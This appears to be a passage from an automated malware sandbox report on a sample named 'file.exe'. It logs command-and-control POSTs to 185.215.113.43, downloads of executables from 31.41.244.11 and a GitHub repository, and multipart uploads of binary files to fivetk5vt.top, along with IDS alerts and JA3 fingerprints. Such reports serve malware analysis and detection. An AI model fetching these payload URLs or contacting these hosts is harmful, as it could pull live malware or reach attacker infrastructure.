20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 36 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 33 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3
Source: global traffic	HTTP traffic detected: GET /hLfzXsaqNtoEGyaUtOMJ1734514745?argument=Uaaqq3t3q8SekfGs1734621065 HTTP/1.1Host: home.fivetk5vt.topAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 36 38 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017684001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/unique3/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 65 31 3d 31 30 31 37 36 38 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1017685001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/lolz/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 36 38 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017686001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fivetk5vt.topAccept: /Content-Length: 464Content-Type: multipart/form-data; boundary=------------------------JhlJrhy2Gp6lRMIt99cGPjData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 4a 68 6c 4a 72 68 79 32 47 70 36 6c 52 4d 49 74 39 39 63 47 50 6a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4a 61 6a 65 63 61 76 69 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 1a 97 1f 05 7e 29 33 23 59 1e 19 e4 e1 25 0e 8a 27 9f 06 93 38 3e be 80 3e 29 01 36 0d 37 c0 e0 18 41 b0 03 6e 08 e7 2c 16 9f 06 c9 7d 45 1b 13 6d f0 f9 25 06 6c c8 33 d3 61 58 07 e2 64 ef 68 2f 93 85 4e 3d 99 eb e2 b1 e1 3f bf fb 3b 9f 69 d6 ff b5 3b f6 38 b2 61 ec e5 9a 10 3f b0 4d 88 29 bd cc 15 61 29 aa 1b 59 c1 7e e9 c4 b0 c6 c8 5b fa 81 f9 43 f7 89 6a 78 ba a4 0b f5 6f db 14 1a 10 bb 51 da 7b 0b 24 56 06 28 07 f6 eb a8 a2 c7 2c e8 a0 1b bd 35 54 14 1f 8d 55 ff ce be fc df d5 46 01 58 12 0c fe f9 03 3f 31 07 c4 82 b0 52 b4 11 38 32 52 9d be 75 7c 85 ed ee 6b 08 1b 29 35 76 8d 4a ac 39 f2 9c 62 50 e2 86 ea 65 fb 35 1c 93 1f cb d5 34 6b c9 83 a0 e8 46 3b ee 21 8a 9e 43 6e 4e 94 00 28 58 ea fd 6e 15 4e d2 15 36 e3 cb 46 55 c8 b9 15 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 4a 68 6c 4a 72 68 79 32 47 70 36 6c 52 4d 49 74 39 39 63 47 50 6a 2d 2d 0d 0a Data Ascii: --------------------------JhlJrhy2Gp6lRMIt99cGPjContent-Disposition: form-data; name="file"; filename="Jajecavi.bin"Content-Type: application/octet-stream~)3#Y%'8>>)67An,}Em%l3aXdh/N=?;i;8a?M)a)Y~[CjxoQ{$V(,5TUFX?1R82Ru\|k)5vJ9bPe54kF;!CnN(XnN6FU--------------------------JhlJrhy2Gp6lRMIt99cGPj--
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fivetk5vt.topAccept: /Content-Length: 62893Content-Type: multipart/form-data; boundary=------------------------YUNzwuqoEY5GFKi15L2HbqData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 59 55 4e 7a 77 75 71 6f 45 59 35 47 46 4b 69 31 35 4c 32 48 62 71 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 46 61 70 61 6c 69 77 75 6d 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 5b 2d f5 6f 18 9d a6 38 3c 52 14 78 d2 b1 7f 38 3b 7c 3a 96 70 2c c9 64 06 7d a7 93 a6 06 97 4a 29 18 3e af ac 3a 3b 04 1f a9 8c e4 36 94 99 fb 2a b8 fc c1 e3 5e c2 b4 3a 92 6b a5 d8 e2 4c 83 92 3e 83 d1 06 4d 28 bf 81 22 8d 88 9f 6e 7a b6 9d 5c 14 70 0a fa ef ab a7 97 84 95 60 da 70 8d f8 43 2f fd 80 5f 33 4e 30 f7 ea 45 8a 12 84 67 85 c1 aa a6 f7 0d e7 7a ab 9c e5 7c 0a 69 b0 cb 43 8d 00 1e 6f 63 2f ee 08 ed 4d a2 08 e2 bc ce 61 0a 63 88 10 cf 3b eb b8 89 90 b7 c7 12 e3 3b 7f 98 56 52 83 c1 f3 94 0f 3d 64 66 7b 44 8c da c6 2a 4b 02 24 eb 87 ac dc ed 2d a5 c0 3f 5c fd 04 cf 1d 4b 1c 7b 70 dd 17 2f e4 f7 07 bb 3f 41 6c 03 a0 23 de fa 02 22 26 ae b3 2a f0 5d 47 74 43 9a 81 a5 ef 26 f5 91 5c 04 36 84 9f 9e 4f d6 fa a6 83 0e 53 79 c7 07 4f 4a 07 d5 23 47 4c 37 43 c1 d3 4d f3 7d d5 84 ec 94 a0 dd ae 8a 66 76 88 e7 6f d0 ff c3 13 13 e6 e7 09 63 4c 76 c4 00 fd cd cf 62 78 57 79 38 5d 76 ce 61 77 84 3a b0 5b a3 39 d6 bb d4 3e 0b 07 da 42 95 b1 f2 d5 e3 16 21 0e 10 7b 81 00 56 76 83 4a da 39 7b 6f c1 0c c0 b0 c6 e0 4c 78 1f 0f fe 04 98 4d 58 60 b8 c9 c0 9c 61 e4 29 96 6e 30 43 0c de 66 fd f5 4f 7a a1 27 09 fa 13 33 a5 f5 ee e8 bc 29 9d df 97 ee fa 7a 25 c9 4a 5d 95 db 74 c5 0c ee e1 e9 fc ee d2 f4 c3 92 c1 09 53 a0 52 18 b4 db c7 77 4d 1d a6 d0 c9 23 0a a7 30 10 91 c5 a6 0e 0c 72 f7 7c 78 ee df 42 18 f9 4a 00 50 6d 24 9a d3 e1 97 dc f3 bc f0 e4 17 ae df 0c 47 f2 52 e9 87 36 32 a1 7f 72 ca 81 5a f4 4b 1b 47 d7 bb b3 d9 40 c8 4e a4 11 2a 3b 7b 9f 05 2c bf 14 bc 8d a8 02 47 68 0c ef b0 cd 83 ff 9a b9 1f 2f 66 4c 84 47 65 b9 ae dc 49 d9 23 f6 6f 61 d0 d7 34 09 09 cf 47 71 80 bb 09 49 c7 c3 50 b0 43 38 d4 10 f4 51 68 c8 44 54 8f 93 4d 9a fb 8a 8c 70 1d 6b e5 c7 1c 93 8c 8c 21 96 e0 cf 43 28 35 f2 be 4f c0 a3 3e b5 e6 be 97 73 ca b9 e2 1c 88 ad 77 66 85 9b 5a 32 38 d9 34 cf 74 b8 ce 4c e3 28 ff 93 eb 65 76 f9 91 e5 3f 12 4d a4 33 9b 47 4b 9d 4b 0e cf 10 7f 4d 0d d3 f4 f4 65 bd 9a 04 95 33 8a ac a2 10 ac e7 ee 9d 44 60 61 e5 ae f1 d6 76 7f 80 e8 3c c0 9d 98 bb 66 09 47 aa d1 d8 56 67 7b ef 66 57 3d 9e 73 b8 57 a1 21 0a 5d b7 8c e7 5f ae a4 a2 13 b1 10 36 09 f6 59 4f bd 3c b2 c6 bf ff ed bf df c0 34 75 9f de 3c c9 57 b4 58 42 fd 2e 58 d3 87 bc 5d ea b6 3f 5f 6f 7c c2 89 7e 3b 3c 7d 30 f6 b6 a9 93 b1 b3 79 1d 63 53 78 39 c8 57 00 b6 c0 7a b9 b8 52 23 fe ce 71 ac ea a7 7c f3 01 ef 80 91 d2 7f 53 14
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fivetk5vt.topAccept: /Content-Length: 34156Content-Type: multipart/form-data; boundary=------------------------coCdYZ2expzJOfDWWL4lm7Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 63 6f 43 64 59 5a 32 65 78 70 7a 4a 4f 66 44 57 57 4c 34 6c 6d 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 78 61 74 61 6d 69 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a cc 33 83 25 7e 8b cf c8 60 08 3e a0 d8 2a 69 18 cb 57 da 2c f6 a2 4d 7d a4 c2 fb a6 3d bc 7f c6 50 82 f3 28 e1 1d ba f9 92 c2 96 00 94 12 c6 84 75 63 f1 5f 0e 3a 68 d8 30 d3 90 02 e3 70 d1 4e 6e 5e 26 9e 04 d2 18 8c 09 36 bd 7e b7 c6 0f a8 4c 84 ce 4a cb 5a c6 00 16 c1 40 13 f7 2c 47 02 96 07 b2 be b5 66 fa 15 9d 42 ea d2 40 c9 1d 91 ca 65 d5 3e 89 f0 7b 09 c9 1f f8 61 46 f4 40 18 16 5d c7 38 69 93 e7 bc 18 d7 f9 bc eb c2 e8 7e ee a8 79 18 0f f5 f2 8b d0 cd 59 9c ac ac 02 1c 90 de a1 90 53 44 7a 9c b3 f6 0e 09 96 ca 47 49 26 d7 2c 40 cc f9 72 90 ff e1 31 0a c4 f6 d0 ce af d6 fb 10 67 eb 72 82 ca 5d 61 2b a8 05 4d 87 83 4a bb e4 f9 b2 ab 00 ea 63 df 7d bc 42 9c 60 e6 bd 14 12 b0 cb 2b ab 0e e7 c4 a0 32 95 1f 55 d3 33 a1 d2 59 ad 34 5c af 70 ac 14 d2 72 90 b6 b0 d2 89 11 63 8c 7a 2f 52 6b 57 36 e1 61 79 fe 0e c9 d2 40 7e 41 b2 25 de 56 dc 13 89 e2 00 35 a2 2f 83 ed b2 32 60 0b 88 8f 28 09 41 05 d1 3a 9c d1 bc 44 97 50 cc d7 c7 5b c4 f0 c4 af bf d8 a3 3e f0 f8 0b 20 00 62 74 5b 69 b5 e3 2c 40 fd c4 9d 0d 86 66 0b ae 1f 4b ba a4 0e c4 8b 58 5f 7b d6 99 72 c3 aa c7 c6 0e 52 87 40 9c ff dd 95 df 4b 8f 36 54 7b 04 d5 0d 5a ed 1e 19 6f 1d 47 05 3f b7 65 3a 40 eb 6e 70 ca cf 4a b8 45 d6 1b c7 98 d2 15 72 89 1b ed 1b 40 c0 4d f2 97 0a 73 83 5b ed 24 fb c0 40 cc db 23 28 a5 63 49 17 4b 48 be 42 aa 61 bd 5a 47 13 97 f2 06 96 07 1d c6 73 85 50 7c 64 29 eb 35 6c 66 43 14 50 db 0c bf e7 ca 1b 19 82 68 bd f9 81 c9 89 de 01 19 b3 67 d1 fa 7c de 58 f1 48 13 05 11 e2 b7 6b 41 e1 09 67 39 ae 09 e3 60 7f 89 34 28 db 65 fb 00 62 84 9f 15 ca 3c 85 b1 90 84 f7 9f bc 78 d0 15 9d 9f c4 38 fd 24 1b 65 92 b9 31 e7 ba 30 65 8d 05 2f d8 12 bf a5 e2 ac 18 93 01 f9 e5 f5 05 45 b9 f3 3e 6c 04 7e cd 77 e2 82 d1 33 e6 08 db 89 bf 31 06 21 71 36 31 10 2c 9a f6 bf 96 37 d0 55 76 6d d1 bc 7b f3 a5 c5 42 40 b9 bf 5a 10 4b e5 97 6e 73 47 57 97 96 98 ac 61 e1 19 3f f0 32 d0 b3 dc cb f9 c0 13 fb c9 5d c1 80 f2 80 ff a6 f9 57 4f 83 d6 05 45 db 6d 8b bd 90 3f 0b cf aa b6 7f 15 08 7c 14 8f f2 7e bf c6 55 1d a5 d3 48 71 65 12 7d 73 ff ca 1e 08 59 3d 0f e6 23 14 e4 e8 53 fe e4 8a 9a df 14 ef 0f 11 8b ce b4 a8 ee a9 ac 48 06 40 7d 08 f4 2d 99 44 48 a1 99 ce 54 5d 2c b3 ec 38 ec c8 bf ec f5 4b 95 4c 8f 87 5d 6f 84 7e 58 9a 77 44 ad ea 46 dd 7d f0 02 38 a4 41 f3 2d 23 40 47 6c a5 7c 12 bc a5 b6 c3 76 92 8b 14 25 44 40 d9 27 c9 ac d1
Source: global traffic	HTTP traffic detected: POST /hLfzXsaqNtoEGyaUtOMJ1734514745 HTTP/1.1Host: home.fivetk5vt.topAccept: /Content-Type: application/jsonContent-Length: 56Data Raw: 7b 20 22 69 64 31 22 3a 20 22 55 61 61 71 71 33 74 33 71 38 53 65 6b 66 47 73 31 37 33 34 36 32 31 30 36 35 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 32 22 20 7d Data Ascii: { "id1": "Uaaqq3t3q8SekfGs1734621065", "data": "Done2" }

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 98.85.100.80 98.85.100.80

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49844 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49857 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49881 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49931 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49960 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49984 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49991 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50015 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50008 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50029 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50020 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50091 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50103 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50122 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50129 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50145 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50184 -> 188.114.96.6:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50183 -> 188.114.96.6:443

Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B4E0C0 recv,recv,recv,recv,

0_2_00B4E0C0

Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/raw/refs/heads/main/ktyihkdfesf.exe HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/raw/refs/heads/main/biyjdfjadaw.exe HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/refs/heads/main/ktyihkdfesf.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/refs/heads/main/biyjdfjadaw.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /k04ael HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0Host: hulkpara.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /b?rn=1734621080502&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=09B6C4049C2967923623D15E9D006621&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1734621080502&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=09B6C4049C2967923623D15E9D006621&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=17549a707df8de2385b30301734621081; XID=17549a707df8de2385b30301734621081
